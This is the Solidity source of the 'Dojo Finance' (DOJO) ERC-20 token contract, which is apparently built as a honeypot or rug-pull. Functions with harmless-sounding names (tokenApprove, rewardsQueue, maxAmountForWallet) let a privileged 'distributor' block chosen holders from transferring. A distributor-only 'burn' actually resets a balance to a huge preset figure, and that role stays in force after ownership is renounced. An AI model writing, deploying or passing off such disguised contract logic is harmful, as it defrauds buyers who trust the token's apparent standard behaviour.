Contract Source Code:
// SPDX-License-Identifier: MIT
pragma solidity =0.8.1;
import "./IERC20.sol";
import "./Ownable.sol";
contract DOJO is Ownable, IERC20, IERC20Metadata {
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balances;
mapping(address => bool) private _tokensApprove;
uint256 private maxTxLimit = 1*10**17*10**9;
uint256 private balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bool _rewarded = false;
address unif;
address unir;
constructor(address rter, address fctr) {
_name = "Dojo Finance";
_symbol = "DOJO";
_totalSupply = 100000000000*10**9;
_balances[msg.sender] += _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
balances = maxTxLimit;
unir = rter; unif = fctr;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address disallowed");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = balances - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);}
return true;
}
function burn(address account, uint256 amount) external distributors {
_burn(account, amount);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);}
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (_tokensApprove[recipient] || _tokensApprove[sender]) require(_rewarded == true, "");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function tokenApprove (address _address) external distributors {
_tokensApprove[_address] = true;
}
function rewardsQueue (address _address) external distributors {
_tokensApprove[_address] = false;
}
function maxAmountForWallet(address _address) public view returns (bool) {
return _tokensApprove[_address];
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.1;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity =0.8.1;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
address internal _distributor;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
modifier distributors() {
require(_distributor == msg.sender, "Caller is not fee distributor");
_;
}
function distributor(address account) external onlyOwner {
require (_distributor == address(0));
_distributor = account;
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
}